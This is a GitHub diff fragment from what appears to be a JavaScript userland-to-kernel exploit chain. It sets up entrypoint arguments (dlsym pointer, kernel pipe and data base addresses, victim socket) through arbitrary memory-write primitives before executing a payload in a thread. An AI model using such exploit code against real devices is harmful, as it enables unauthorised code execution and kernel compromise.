File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -1438,11 +1438,12 @@ async function userland() {
14381438 p . write4 ( rwpair_mem . add32 ( 0x04 ) , victim_sock ) ;
14391439
14401440 // Arguments to entrypoint
1441- p . write8 ( args . add32 ( 0x00 ) , dlsym_addr ) ; // arg1 = dlsym fptr
1442- p . write8 ( args . add32 ( 0x08 ) , pipe_mem ) ; // arg2 = int *pipe [2]
1441+ p . write8 ( args . add32 ( 0x00 ) , dlsym_addr ) ; // arg1 = dlsym_t* dlsym
1442+ p . write8 ( args . add32 ( 0x08 ) , pipe_mem ) ; // arg2 = int *rwpipe [2]
14431443 p . write8 ( args . add32 ( 0x10 ) , rwpair_mem ) ; // arg3 = int *rwpair[2]
1444- p . write8 ( args . add32 ( 0x18 ) , data_base_addr ) ; // arg4 = uint64_t kdata_base
1445- p . write8 ( args . add32 ( 0x20 ) , test_payload_store ) ; // arg5 = out buffer
1444+ p . write8 ( args . add32 ( 0x18 ) , pipe_addr ) ; // arg4 = uint64_t kpipe_addr
1445+ p . write8 ( args . add32 ( 0x20 ) , data_base_addr ) ; // arg5 = uint64_t kdata_base_addr
1446+ p . write8 ( args . add32 ( 0x28 ) , test_payload_store ) ; // arg6 = int *payloadout
14461447
14471448 // Execute payload in pthread
14481449 await log ( " [+] Executing!" ) ;
You can’t perform that action at this time.
0 commit comments